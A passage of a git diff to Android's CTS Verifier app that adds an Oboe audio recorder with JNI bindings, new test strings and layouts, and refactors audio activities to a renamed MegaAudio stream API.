+ AudioStreamBuilder builder;
+ builder.setChannelCount(mChannelCount);
+ builder.setSampleRate(mSampleRate);
+ builder.setCallback(this);
+ if (mInputPreset != DEFAULT_INPUT_NONE) {
+ builder.setInputPreset((enum InputPreset)mInputPreset);
+ }
+ builder.setPerformanceMode(PerformanceMode::LowLatency);
+ // builder.setPerformanceMode(PerformanceMode::None);
+ builder.setSharingMode(SharingMode::Exclusive);
+ builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+ builder.setDirection(Direction::Input);
+
+ if (mRouteDeviceId != -1) {
+ builder.setDeviceId(mRouteDeviceId);
+ }
+
+ mAudioSink->init(mBufferSizeInFrames, mChannelCount);
+
+ if (mSubtype == SUB_TYPE_OBOE_AAUDIO) {
+ builder.setAudioApi(AudioApi::AAudio);
+ } else if (mSubtype == SUB_TYPE_OBOE_OPENSL_ES) {
+ builder.setAudioApi(AudioApi::OpenSLES);
+ }
+
+ result = builder.openStream(mAudioStream);
+ if (result != oboe::Result::OK){
+ __android_log_print(
+ ANDROID_LOG_ERROR,
+ TAG,
+ "openStream failed. Error: %s", convertToText(result));
+ } else {
+ mBufferSizeInFrames = mAudioStream->getFramesPerBurst();
+ }
+ }
+
+ return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeRecorder::startStream() {
+ StreamBase::Result result = Recorder::startStream();
+ if (result == OK) {
+ mAudioSink->start();
+ }
+ return result;
+}
+
+oboe::DataCallbackResult OboeRecorder::onAudioReady(
+ oboe::AudioStream *audioStream, void *audioData, int numFrames) {
+ mAudioSink->push((float*)audioData, numFrames, mChannelCount);
+ return oboe::DataCallbackResult::Continue;
+}
+
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_allocNativeRecorder(JNIEnv *env, jobject thiz, jlong native_audio_sink, jint recorderSubtype) {
+ OboeRecorder* recorder = new OboeRecorder((AudioSink*)native_audio_sink, recorderSubtype);
+ return (jlong)recorder;
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getBufferFrameCountN(
+ JNIEnv *env, jobject thiz, jlong native_recorder) {
+ return ((OboeRecorder*)native_recorder)->getNumBufferFrames();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setInputPresetN(JNIEnv *env, jobject thiz,
+ jlong native_recorder,
+ jint input_preset) {
+ ((OboeRecorder*)native_recorder)->setInputPreset(input_preset);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setupStreamN(JNIEnv *env, jobject thiz,
+ jlong native_recorder,
+ jint channel_count,
+ jint sample_rate,
+ jint route_device_id) {
+ return ((OboeRecorder*)native_recorder)->setupStream(channel_count, sample_rate, route_device_id);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_teardownStreamN(
+ JNIEnv *env, jobject thiz, jlong native_recorder) {
+ return ((OboeRecorder*)native_recorder)->teardownStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_startStreamN(JNIEnv *env, jobject thiz,
+ jlong native_recorder,
+ jint recorder_subtype) {
+ return ((OboeRecorder*)native_recorder)->startStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_stopN(JNIEnv *env, jobject thiz,
+ jlong native_recorder) {
+ return ((OboeRecorder*)native_recorder)->stopStream();
+}
+
+JNIEXPORT jboolean JNICALL
+ Java_org_hyphonate_megaaudio_recorder_OboeRecorder_isRecordingN(
+ JNIEnv *env, jobject thiz, jlong native_recorder) {
+ OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+ return nativeRecorder->isRecording();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getNumBufferFramesN(
+ JNIEnv *env, jobject thiz, jlong native_recorder) {
+ OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+ return nativeRecorder->getNumBufferFrames();
+}
+
+extern "C"
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_recorder) {
+ return ((OboeRecorder*)native_recorder)->getRoutedDeviceId();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
new file mode 100644
index 0000000..7b1e07a
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_OBOERECORDER_H
+#define MEGA_RECORDER_OBOERECORDER_H
+
+#include <mutex>
+
+#include <oboe/Oboe.h>
+
+#include "Recorder.h"
+
+class OboeRecorder: public oboe::AudioStreamCallback, public Recorder {
+public:
+ OboeRecorder(AudioSink* sink, int32_t recorderSubtype);
+ virtual ~OboeRecorder() {}
+
+ // Inherited from oboe::AudioStreamCallback
+ virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *audioStream, void *audioData, int numFrames) override;
+// virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override {}
+// virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override {}
+
+ // Inherited from Recorder
+ //
+ // State
+ //
+ virtual bool isRecording() override { return mStreamStarted; }
+
+ virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+
+ virtual Result startStream() override;
+
+ static const int DEFAULT_INPUT_NONE = -1; // from Recorder.java
+ void setInputPreset(int inputPreset) { mInputPreset = inputPreset; }
+
+private:
+ int32_t mInputPreset;
+};
+
+#endif // MEGA_RECORDER_OBOERECORDER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
new file mode 100644
index 0000000..c9357ad
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_RECORDER_H
+#define MEGA_RECORDER_RECORDER_H
+
+#include <OboeStream.h>
+
+class AudioSink;
+
+class Recorder: public OboeStream {
+public:
+ Recorder(AudioSink* sink, int subtype) : OboeStream(subtype), mAudioSink(sink) {}
+ virtual ~Recorder() {}
+
+ //
+ // State
+ //
+ virtual bool isRecording() = 0;
+
+protected:
+ std::shared_ptr<AudioSink> mAudioSink;
+};
+
+#endif // MEGA_RECORDER_RECORDER_H
diff --git a/apps/CtsVerifier/res/layout/garage_test_main.xml b/apps/CtsVerifier/res/layout/garage_test_main.xml
new file mode 100644
index 0000000..5073523
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/garage_test_main.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <LinearLayout app:ctsv_layout_box="all"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ android:orientation="vertical" >
+ <include layout="@layout/pass_fail_buttons"/>
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:paddingVertical="12dp"
+ android:paddingHorizontal="24dp"
+ android:id="@+id/car_garage_mode_results"/>
+ <Button
+ android:id="@+id/car_wifi_settings"
+ android:layout_height="100dp"
+ android:layout_width="500dp"
+ android:layout_gravity="center"
+ android:layout_marginTop="10dp"
+ android:text="@string/car_wifi_settings"/>
+ <Button
+ android:id="@+id/launch_garage_monitor"
+ android:layout_height="100dp"
+ android:layout_width="500dp"
+ android:layout_gravity="center"
+ android:layout_marginTop="10dp"
+ android:text="@string/car_enable_garage_monitor"/>
+ </LinearLayout>
+</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
old mode 100755
new mode 100644
index 849fe04..9f6ad07
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -45,6 +45,7 @@
<string name="test_category_jobscheduler">Job Scheduler</string>
<string name="test_category_telecom">Telecom</string>
<string name="test_category_telephony">Telephony</string>
+ <string name="test_category_tunnel">Tunnel Mode</string>
<string name="test_category_tv">TV</string>
<string name="test_category_instant_apps">Instant Apps</string>
<string name="test_category_display_cutout">DisplayCutout</string>
@@ -128,6 +129,18 @@
<string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
user by obscuring the device admin details while prompting the user to activate the admin.
</string>
+ <string name="car_enable_garage_monitor">Enable Garage Mode Monitor</string>
+ <string name="car_garage_mode_test">Garage Mode Test</string>
+ <string name="car_garage_mode_test_desc">
+ This test verifies that Garage Mode runs at the end of a drive.\n\n
+ Optional: Disable Wi-Fi to minimize other activity during the test.\n\n
+ Touch "Enable Garage Mode Monitor" to launch the Garage Mode verifier.\n\n
+ Turn the vehicle off and exit the vehicle (or take the proprietary action that
+ initiates shut-down of the system).\n\n
+ Do not enter or disturb the vehicle for at least 15 minutes.\n\n
+ Enter the vehicle. Re-launch the CTS-Verifier app if it is not running.\n\n
+ If Garage Mode ran as required, the pass button will be enabled.</string>
+ <string name="car_wifi_settings">Go to Wi-Fi settings</string>
<string name="car_dock_test">Car Dock Test</string>
<string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
car dock when going into car mode.\n\n
@@ -587,6 +600,7 @@
<string name="ble_read_descriptor_name">Bluetooth LE Read Descriptor</string>
<string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
<string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
+ <string name="ble_on_service_changed">Bluetooth LE On Service Changed</string>
<string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
<string name="ble_insecure_client_test_info">
The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
@@ -635,6 +649,7 @@
<string name="ble_server_read_descriptor">Waiting on read descriptor request</string>
<string name="ble_server_reliable_write">Waiting on reliable write from client</string>
<string name="ble_server_reliable_write_bad_resp">Waiting on reliable write from client (send bad response)</string>
+ <string name="ble_server_service_changed_indication">Waiting on service changed indication</string>
<string name="ble_server_receiving_disconnect">Waiting on disconnection from Bluetooth LE client</string>
<string name="ble_connection_priority_server_name">02 Bluetooth LE Connection Priority Server Test</string>
<string name="ble_connection_priority_server_info">Bluetooth LE Connection Priority Server receive message from message in 3 different priority.</string>
@@ -1703,6 +1718,9 @@
<string name="sv_failed_title">Test Failed</string>
<string name="sv_failed_message">Unable to play stream. See log for details.</string>
+ <!-- Strings for MediaCodecFlushActivity -->
+ <string name="media_codec_flush">Video codec flushing in Tunnel Mode</string>
+
<!-- Strings for the Camera Bokeh mode test activity -->
<string name="camera_bokeh_test">Camera Bokeh</string>
<string name="camera_bokeh_test_info">
@@ -1756,8 +1774,8 @@
<string name="wifi_status_suggestion_get_failure">Failed to get suggestions.</string>
<string name="wifi_status_suggestion_remove">Removing suggestions from the device.</string>
<string name="wifi_status_suggestion_remove_failure">Failed to remove suggestions.</string>
- <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
- <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection. Please click \"Allow\" in the dialog that pops up for approving the app.</string>
+ <string name="wifi_status_suggestion_wait_for_connect">Waiting for network connection.</string>
+ <string name="wifi_status_suggestion_ensure_no_connect">Ensuring no network connection.</string>
<string name="wifi_status_suggestion_connect">Connected to the network.</string>
<string name="wifi_status_suggestion_not_connected">Did not connect to the network.</string>
<string name="wifi_status_suggestion_wait_for_post_connect_bcast">Waiting for post connection broadcast.</string>
@@ -1773,6 +1791,10 @@
<string name="wifi_status_suggestion_capabilities_not_changed">Network capabilities did not change.</string>
<string name="wifi_status_suggestion_not_disconnected">Did not disconnect from the network.</string>
<string name="wifi_status_suggestion_disconnected">Disconnected from the network.</string>
+ <string name="wifi_status_suggestion_add_user_approval_status_listener_failure">Failed to add user approval status listener</string>
+ <string name="wifi_status_suggestion_wait_for_user_approval">Waiting for user approval. Please click \"Allow\" in the dialog that pops up for approving the app</string>
+ <string name="wifi_status_suggestion_user_approval_status_failure">Failed to receive user approval status change</string>
+ <string name="wifi_status_suggestion_user_approve_failure">Failed to get user approval</string>
<string name="wifi_status_test_success">Test completed successfully!</string>
<string name="wifi_status_test_failed">Test failed!</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 3836074..197cd0b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -286,7 +286,8 @@
protected void startPlay() {
if (!mIsPlaying) {
- mAudioPlayer.setupAudioStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+ //TODO - explain the choice of 96 here.
+ mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
mAudioPlayer.startStream();
mIsPlaying = true;
}
@@ -295,7 +296,7 @@
protected void stopPlay() {
if (mIsPlaying) {
mAudioPlayer.stopStream();
- mAudioPlayer.teardownAudioStream();
+ mAudioPlayer.teardownStream();
mIsPlaying = false;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index fa82446..4b2d213 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -132,7 +132,7 @@
.setRecorderType(RecorderBuilder.TYPE_JAVA)
.setAudioSinkProvider(new NopAudioSinkProvider())
.build();
- mAudioRecorder.setupAudioStream(NUM_CHANNELS, SAMPLE_RATE, mNumFrames);
+ mAudioRecorder.setupStream(NUM_CHANNELS, SAMPLE_RATE, mNumFrames);
} catch (RecorderBuilder.BadStateException ex) {
Log.e(TAG, "Failed MegaRecorder build.");
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 7f96464..b61ea25 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -321,7 +321,7 @@
mLatencyMillis = 0.0;
mConfidence = 0.0;
- mNativeAnalyzerThread = new NativeAnalyzerThread();
+ mNativeAnalyzerThread = new NativeAnalyzerThread(this);
if (mNativeAnalyzerThread != null) {
mNativeAnalyzerThread.setMessageHandler(messageHandler);
// This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index cd66d57..62749c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -133,7 +133,8 @@
// .setPlayerType(PlayerBuilder.PLAYER_OBOE)
.setSourceProvider(sourceProvider)
.build();
- mAudioPlayer.setupAudioStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+ //TODO - explain the choice of 96 here.
+ mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
} catch (PlayerBuilder.BadStateException ex) {
Log.e(TAG, "Failed MegaPlayer build.");
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 2f74074..78991dc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -17,6 +17,8 @@
package com.android.cts.verifier.audio;
+import android.content.Context;
+
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioTrack;
@@ -26,12 +28,24 @@
import android.util.Log;
import android.os.Handler;
-import android.os.Message;
+import android.os.Message;
+
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
+
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.Player;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
/**
* A thread that runs a native audio loopback analyzer.
*/
public class NativeAnalyzerThread {
+ private static final String TAG = "NativeAnalyzerThread";
+
+ private Context mContext;
+
private final int mSecondsToRun = 5;
private Handler mMessageHandler;
private Thread mThread;
@@ -40,6 +54,9 @@
private volatile double mConfidence = 0.0;
private volatile int mSampleRate = 0;
+ private Player mAudioPlayer;
+ private int NUM_CHANNELS = 2;
+
private int mInputPreset = 0;
static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED = 892;
@@ -48,6 +65,10 @@
static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE = 895;
static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS = 896;
+ public NativeAnalyzerThread(Context context) {
+ mContext = context;
+ }
+
public void setInputPreset(int inputPreset) {
mInputPreset = inputPreset;
}
@@ -56,8 +77,10 @@
static {
try {
System.loadLibrary("audioloopback_jni");
+ System.loadLibrary("megaaudio_jni");
} catch (UnsatisfiedLinkError e) {
log("Error loading loopback JNI library");
+ log("e: " + e);
e.printStackTrace();
}
@@ -67,16 +90,60 @@
/**
* @return native audio context
*/
- private native long openAudio(int micSource);
- private native int startAudio(long audio_context);
- private native int stopAudio(long audio_context);
- private native int closeAudio(long audio_context);
+// private native long openAudio(int micSource);
+ private long openAudio(int micSource) {
+ AudioSystemParams audioSystemParams = new AudioSystemParams();
+ audioSystemParams.init(mContext);
+
+ int systemSampleRate = audioSystemParams.getSystemSampleRate();
+ int numBufferFrames = audioSystemParams.getSystemBufferFrames();
+
+ //
+ // Allocate the source provider for the sort of signal we want to play
+ //
+ AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+ try {
+ PlayerBuilder builder = new PlayerBuilder();
+ mAudioPlayer = builder
+ // choose one or the other of these for a Java or an Oboe player
+ // .setPlayerType(PlayerBuilder.TYPE_JAVA)
+ .setPlayerType(PlayerBuilder.TYPE_OBOE)
+ .setSourceProvider(sourceProvider)
+ .build();
+ mAudioPlayer.setupStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+ } catch (PlayerBuilder.BadStateException ex) {
+ Log.e(TAG, "Failed MegaPlayer build.");
+ return -1;
+ }
+
+ // Don't need this any more
+ return 0;
+ }
+
+ // return a result code. < 0 indicates an error
+ private int startAudio(long audio_context) {
+ return mAudioPlayer.startStream();
+ }
+
+ private int stopAudio(long audio_context) {
+ return mAudioPlayer.stopStream();
+ }
+
+ // return a result code. < 0 indicates an error
+ private int closeAudio(long audio_context) {
+ return mAudioPlayer.teardownStream();
+ }
+
private native int getError(long audio_context);
private native boolean isRecordingComplete(long audio_context);
private native int analyze(long audio_context);
private native double getLatencyMillis(long audio_context);
private native double getConfidence(long audio_context);
- private native int getSampleRate(long audio_context);
+
+ // private native int getSampleRate(long audio_context);
+ private int getSampleRate(long audio_context) {
+ return mAudioPlayer.getSampleRate();
+ }
public double getLatencyMillis() {
return mLatencyMillis;
@@ -146,11 +213,7 @@
sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
break;
} else if (isRecordingComplete(audioContext)) {
- result = stopAudio(audioContext);
- if (result < 0) {
- sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
- break;
- }
+ stopAudio(audioContext);
// Analyze the recording and measure latency.
mThread.setPriority(Thread.MAX_PRIORITY);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index d1a7726..7b85469 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -62,7 +62,7 @@
// .setPlayerType(PlayerBuilder.PLAYER_OBOE)
.setSourceProvider(sourceProvider)
.build();
- mAudioPlayer.setupAudioStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+ mAudioPlayer.setupStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
} catch (PlayerBuilder.BadStateException ex) {
Log.e(TAG, "Failed MegaPlayer build.");
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 7c3cb08..880013f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -21,26 +21,43 @@
import android.util.Log;
import android.view.View;
import android.widget.Button;
+import android.widget.Toast;
import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
import com.android.cts.verifier.audio.audiolib.WaveScopeView;
// MegaAudio imports
import org.hyphonate.megaaudio.common.BuilderBase;
-import org.hyphonate.megaaudio.recorder.JavaRecorder;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.duplex.DuplexAudioManager;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
import org.hyphonate.megaaudio.recorder.RecorderBuilder;
import org.hyphonate.megaaudio.recorder.sinks.AppCallback;
import org.hyphonate.megaaudio.recorder.sinks.AppCallbackAudioSinkProvider;
import com.android.cts.verifier.R; // needed to access resource in CTSVerifier project namespace.
-public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralPlayerActivity {
+public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralActivity {
private static final String TAG = "USBAudioPeripheralRecordActivity";
- // MegaRecorder
- private static final int NUM_CHANNELS = 2;
- private JavaRecorder mRecorder;
+ // JNI load
+ static {
+ try {
+ System.loadLibrary("megaaudio_jni");
+ } catch (UnsatisfiedLinkError e) {
+ Log.e(TAG, "Error loading MegaAudio JNI library");
+ Log.e(TAG, "e: " + e);
+ e.printStackTrace();
+ }
+ /* TODO: gracefully fail/notify if the library can't be loaded */
+ }
+
+ // MegaAudio
+ private static final int NUM_CHANNELS = 2;
+ private DuplexAudioManager mDuplexManager;
+
+ private boolean mIsPlaying = false;
private boolean mIsRecording = false;
// Widgets
@@ -66,38 +83,39 @@
int systemSampleRate = audioSystemParams.getSystemSampleRate();
int numBufferFrames = audioSystemParams.getSystemBufferFrames();
- try {
- RecorderBuilder builder = new RecorderBuilder();
- mRecorder = (JavaRecorder)builder
- .setRecorderType(BuilderBase.TYPE_JAVA)
- .setAudioSinkProvider(new AppCallbackAudioSinkProvider(new ScopeRefreshCallback()))
- .build();
- mRecorder.setupAudioStream(NUM_CHANNELS, systemSampleRate, numBufferFrames);
+ mDuplexManager = new DuplexAudioManager(
+ withLoopback ? new SinAudioSourceProvider() : null,
+ new AppCallbackAudioSinkProvider(new ScopeRefreshCallback()));
- mIsRecording = mRecorder.startStream();
-
- if (withLoopback) {
- startPlay();
- }
- } catch (RecorderBuilder.BadStateException ex) {
- Log.e(TAG, "Failed MegaRecorder build.");
- mIsRecording = false;
+ if (mDuplexManager.setupStreams(
+ withLoopback ? BuilderBase.TYPE_JAVA : BuilderBase.TYPE_NONE,
+ BuilderBase.TYPE_JAVA) != StreamBase.OK) {
+ Toast.makeText(
+ this, "Couldn't create recorder. Please check permissions.", Toast.LENGTH_LONG)
+ .show();
+ return mIsRecording = false;
}
+ if (mDuplexManager.start() != StreamBase.OK) {
+ Toast.makeText(
+ this, "Couldn't start recording. Please check permissions.", Toast.LENGTH_LONG)
+ .show();
+ return mIsRecording = false;
+ } else {
+ mIsRecording = true;
+ mIsPlaying = withLoopback;
+ }
return mIsRecording;
}
- public void stopRecording() {
- if (mRecorder != null) {
- mRecorder.stopStream();
- mRecorder.teardownAudioStream();
+ public int stopRecording() {
+ int result = StreamBase.OK;
+ if (mDuplexManager != null) {
+ result = mDuplexManager.stop();
}
-
- if (mAudioPlayer != null && mAudioPlayer.isPlaying()) {
- mAudioPlayer.stopStream();
- }
-
mIsRecording = false;
+
+ return result;
}
public boolean isRecording() {
@@ -117,8 +135,6 @@
mRecordLoopbackBtn = (Button)findViewById(R.id.uap_recordRecordLoopBtn);
mRecordLoopbackBtn.setOnClickListener(mButtonClickListener);
- setupPlayer();
-
mWaveView = (WaveScopeView)findViewById(R.id.uap_recordWaveView);
mWaveView.setBackgroundColor(Color.DKGRAY);
mWaveView.setTraceColor(Color.WHITE);
@@ -168,9 +184,6 @@
mRecordBtn.setEnabled(false);
}
} else {
- if (isPlaying()) {
- stopPlay();
- }
stopRecording();
mRecordLoopbackBtn.setText(
getString(R.string.audio_uap_record_recordLoopbackBtn));
@@ -185,10 +198,10 @@
protected void onPause() {
super.onPause();
- stopPlay();
+ stopRecording();
}
- class ScopeRefreshCallback implements AppCallback {
+ public class ScopeRefreshCallback implements AppCallback {
@Override
public void onDataReady(float[] audioData, int numFrames) {
mWaveView.setPCMFloatBuff(audioData, NUM_CHANNELS, numFrames);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
index d51ea2c..ddaef32 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
@@ -152,7 +152,7 @@
UsbDevice theDevice = (UsbDevice) devices[0];
PendingIntent permissionIntent =
- PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), 0);
+ PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED);
IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
ConnectDeviceBroadcastReceiver usbReceiver =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index b7e0fb1..6563e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,6 +19,7 @@
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
+import android.content.res.Resources;
import android.hardware.biometrics.BiometricManager;
import android.security.keystore.KeyGenParameterSpec;
import android.security.keystore.KeyProperties;
@@ -246,8 +247,9 @@
}
static boolean deviceConfigContains(Context context, int authenticator) {
- final String config[] = context.getResources()
- .getStringArray(com.android.internal.R.array.config_biometric_sensors);
+ final Resources res = context.getResources();
+ final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
+ final String config[] = res.getStringArray(resId);
for (String s : config) {
Log.d(TAG, s);
final String[] elems = s.split(":");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 1fd6a2b..b87156d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
